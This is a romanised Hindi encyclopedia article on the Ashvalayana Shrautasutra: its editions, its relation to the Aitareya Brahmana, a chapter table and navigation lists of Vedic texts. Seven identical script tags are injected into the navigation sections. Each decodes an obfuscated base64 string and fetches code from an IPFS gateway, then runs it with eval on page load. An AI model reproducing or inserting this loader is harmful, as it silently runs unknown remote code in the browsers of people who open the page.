yah shrautasootr gargy narayan ki tika sahit ramanarayan vidyaratn ke dvara sampadit hokar kalakatta se 1874 ee. mean prakashit hai. usi tika ke sath ji. es. gokhale ne pune se 1917 mean prakashit kiya. devatrat−bhashy ke sath yah shrautasootr ranavir sianh baba adi ke dvara sampadit hokar 1986 aur 1990 mean hoshiyarapur se lagabhag adha prakashit hua hai. ashvalayan ne rrigved ki bashkal tatha shakal in donoan shakhaoan ka anusaran kiya− 'shakalasamamnayasy bashkalasamamnayasy chedamev sootran grihyan chetyadhyetriprasiddhamh.' shaankhayan shrautasootr aur kaushitaki brahman se sambandhoan ki tulana mean ashvalayan shrautasootr aur aitarey brahman ke sambandh adhik shithil haian. ashvalayan shrautasootr mean aitarey parampara ka ullekh svatantr aur door ki parampara ki tarah kiya gaya hai. udaharanarth ashvalayan shrautasootr[1] mean ullekh hai– 'antaren havishi vishnumupaanshvaitareyin: tatr praishekatar evagnishomavevamityaitareyin:'[2] tatha 'ekahashchataireniyah.[3] aitarey brahman mean anullikhit kuchh karmakand vettaoan ka avalayan shrautasootr mean ullekh hai, jaise ki 'ashmarathy kriyamashmarathyoahnvitapratishedhanh'.[4] kauts[5]- ganagari 'tasmai tasmai y eshaan pretaah syuriti ganagariah pratyakshamitaranarchayeth tadarthatvath'[6] ityadi. samany roop se ham kah sakate haian ki ashvalayan shrautasootr mean bahut se aise vishay haian jo aitarey brahman mean nahian milate, jaise ki darshapoornamas, agnihotr agnyadhan, chaturmasy yag ityadi. ye sab vishay prayah pahale tin adhyayoan mean haian. keval pashuyajn sambandhi[7], agnihotr[8] tatha prayashchitt sambandhi[9] vishay– inhian ka aitarey brahman se nishchit sambandh hai.
vishay vastu
ashvalayan shrautasootr ki vishayavastu aur usake aitarey brahman se sambanadh ka vivaran is prakar haiah–
ashvalayan shrautasootr |
vishay
|
1. |
darshapoornamas
|
2. |
agnihotr, pindapitriyajn, agrayan, chaturmasy ityadi.
|
3. |
pashuyag, prayashchitt ityadi.
|
4. |
somayag ka prarambhik bhag[10]
|
5. |
agnishtom[11]
|
6. |
1–6 ukthy, shodashinh, atiratr[12] 6–7–10 prayashchitt ityadi.
|
7. |
11–14 agnishtom ka antim bhag[13]
|
7.1 |
samany niyam.
|
7.2-4 |
chaturviansh[14]
|
7.5–9 |
abhiplav shadah ityadi[15]
|
7.10–12 |
prishthy shadah ityadi[16]
|
8.1–4 |
chhathe din par hotri aur hotrak–shastr[17]
|
8.6 |
vishuvath[18]
|
8.7 |
vishvajith aur svarasamanh[19]
|
8.8.8 |
vyoodh dvadashah[20]
|
8.9.11 |
chhandom[21]
|
8.12 |
dasavaan divas[22]
|
8.13 |
dasham divas ki avashisht vidhi.
|
8.14 |
pathan sambandhi niyam.
|
9.12 |
ahin aur satr.
|
tika tippani aur sandarbh
- ↑ ashvalayan shrautasootr, 1.3.12
- ↑ 3.6.3
- ↑ 10.1.13
- ↑ 5.13.10
- ↑ 1.2.5 bhoorbhuvah svarityev japitva kautso hiankaroti
- ↑ 2.6.16
- ↑ aitarey brahman, 2.1–14
- ↑ aitarey brahman, 5.26–31
- ↑ aitarey brahman, 7.2–12
- ↑ tulaniy aitarey brahman 1.1–2.18
- ↑ aitarey brahman 2.19–3.48
- ↑ aitarey brahman 3.49–50, 4.1–4.45–21
- ↑ aitarey brahman 3.47–48
- ↑ aitarey brahman 4.12, 14
- ↑ aitarey brahman 4.13, 15, 16
- ↑ aitarey brahman 4, 13, 15, 16, 27–5.15
- ↑ aitarey brahman 6
- ↑ aitarey brahman 4.19–22
- ↑ aitarey brahman 4.19 abhipalv prakar samoodh chhandom
- ↑ aitarey brahman 4, 27
- ↑ aitarey brahman 7.16–21
- ↑ aitarey brahman 5.22–25
sanbandhit lekh
shrautasootr |
---|
| rrigvediy shrautasootr | | | shukl-krishna yajurvediy | | | samavediy shrautasootr | | | atharvavediy shrautasootr | |
|
shrutiyaan
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upaved aur vedaang |
---|
| upaved |
|
kamandak sootr · kautily arthashastr · chanaky sootr · nitivakyamritasootr · brihaspatey arthadhikarakamh · shukraniti | | |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar · adhvaryu | | | | | |
agnigrahasootraraj · ashvinikumar sanhita · ashtaangahriday · indrasootr · charak sanhita · jabalisootr · dalbhy sootr · deval sootr · dhanvantari sootr · dhatuved · brahman sanhita · bhel sanhita · manasootr · shabd kautoohal · sushrut sanhita · soop sootr · sauvari sootr |
| | vedaang |
kalp | | | shiksha |
gautami shiksha (samaved) · naradiy shiksha· paniniy shiksha (rrigved) · bahy shiksha (krishna yajurved) · mandki shiksha (atharvaved) · yajnavalky shiksha (shukl yajurved) · lomashiy shiksha | | vyakaran |
kalp vyakaran · kamadhenu vyakaran · panini vyakaran · prakriti prakash · prakriti vyakaran · mugdhabodh vyakaran · shaktayan vyakaran · sarasvat vyakaran · hemachandr vyakaran | | niruktt |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar | | chhand |
gargyaprokt upanidan sootr · chhand manjari · chhandasootr · chhandovichit chhand sootr · chhandoanukramani · chhalapudh vritti · jayadev chhand · janashramaan chhandovichit · vrittaratnakar · veankatamadhav chhandoanukramani · shrutavek | | jyotish |
aryabhatiy jyotish · naradiy jyotish · parashar jyotish · brahmagupt jyotish · bhaskarachary jyotish · varahamihir jyotish · vasishth jyotish · vedaang jyotish |
|
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upanishad | | rrigvediy upanishad | | | yajurvediy upanishad |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy upanishad | | | atharvavediy upanishad | | | | | rrigvediy brahman granth | | | yajurvediy brahman granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy brahman granth | | | atharvavediy brahman granth | | |
sootr-granth | | rrigvediy sootr-granth | | | yajurvediy sootr-granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy sootr-granth |
masakasootr · latyayan sootr · khadir shrautasootr · jaiminiy grihyasootr · gobhil grihyasootr · khadir grihyasootr · gautam dharmasootr · drahyayan grihyasootr · drahyayan dharmasootr | | atharvavediy sootr-granth | |
|
shakha | | shakha |
shakal rrigvediy shakha · kanv shukl yajurvediy · madhyandin shukl yajurvediy · taittiriy krishna yajurvediy · maitrayani krishna yajurvediy · kath krishna yajurvediy · kapishthal krishna yajurvediy · shvetashvatar krishna yajurvediy · kauthumi samavediy shakha · jaiminiy samavediy shakha · ranayaniy samavediy shakha · paippalad atharvavediy shakha · shaunakiy atharvavediy shakha | | mantr-sanhita |
rrigved mantr-sanhita · shukl yajurved mantr- sanhita · samaved mantr-sanhita · atharvaved mantr-sanhita | | aranyak | | |
pratisakhy evan anukramanika | | rrigvediy pratisakhy |
shaankhayan pratishakhy · brihad pratishakhy · arshanukramanika · ashvalayan pratishakhy · chhandonukramanika · rrigpratishakhy · devatanukramanika · sarvanukramanika · anuvakanukramanika · brihadvatanukramanika · rrigh vijnan | | yajurvediy pratisakhy |
shukl yajurvediy |
katyayan shulvasootr · katyayanukramanika · vajasaneyi pratishakhy | | krishna yajurvediy |
taittiriy pratishakhy |
| | samavediy pratisakhy |
shaunakiya chaturdhyapika |
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
smriti sahity |
---|
| smritigranth | | | puran | | | mahakavy | | | darshan | | | nibandh |
jimootavahan krit : dayabhag · kalavivek · vyavahar matrika · aniruddh krit : pitridayita · haralata · ballalasen krit :acharasagar · pratishthasagar · adbhutasagar · shridhar upadhyay krit : kalamadhav · dattakamimaansa · parasharamadhav · gotr-pravar nirnay · muhoortamadhav · smritisangrah · vratyastom-paddhati · nandapandit krit : shraddh-kalpalata · shuddhi-chandrika · tattvamuktavali · dattak mimaansa · · narayanabhatat krit : tristhali-setu · antyeshti-paddhati · prayog ratnakar · kamalakar bhatt krit: nirnayasindhu · shoodrakamalakar · danakamalakar · poortakamalakar · vedaratn · prayashchittaratn · vivad tandav · kashinath upadhyay krit : dharmasindhu · nirnayamrit · purusharth-chintamani · shoolapani krit : smriti-vivek (apoorn) · raghunandan krit : smriti-tattv · chandeshvar krit : smriti-ratnakar · vachaspati mishr : vivad-chintamani · devan bhatat krit : smriti-chandrika · hemadri krit : chaturvarg-chintamani · nilakandabhatat krit : bhagavant bhaskar · mitramishr krit: vir-mitroday · lakshmidhar krit : krity-kalpataru · jagannath tarkapanchanan krit : vivadarnav | | agam |
vaishnavagam |
ahirbudhny-sanhita · eeshvar-sanhita · kapilajanli-sanhita · jayakhy-sanhita · padmatantr-sanhita · parashar-sanhita · brihadbrahm-sanhita · bharadvaj-sanhita · lakshmi-sanhita · vishnutilak-sanhita · vishnu-sanhita · shriprashn-sanhita · sattvat-sanhita | | shaivagam |
tattvatray · tattvaprakashika · tattvasangrah · tatpary sangrah · nareshvar pariksha · nadakarika · paramoksh-nirashakarika · pashupat sootr · bhogakarika · mokshakarika · ratnatray · shrutisooktimala · soot-sanhita | | shaktagam |
vamagam |
advaitabhavopanishad · arunopanishad · kalikopanishad · kaulopanishad · taropanishad · tripuropanishad · brahichopanishad · bhavanopanishad | | mishramarg |
kalanidhi · kularnav · kuleshvari · chandrak · jyotsravati · durvasas · barhaspaty · bhuvaneshvari | | samayachar |
vasishthasanhita · shukrasanhita · sanakasanhita · sanatkumarasanhita · sanandanasanhita | | tantrik sadhana |
kalivilas · kularnav · kool-choo damani · jnanarnav · tantraraj · tripura-rahasy · dakshinamoorti-sanhita · namakeshvar · prapanchasar · mantr-maharnav · mahanirvan · rudrayamal · shaktisangam-tantr · sharada-tilak |
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>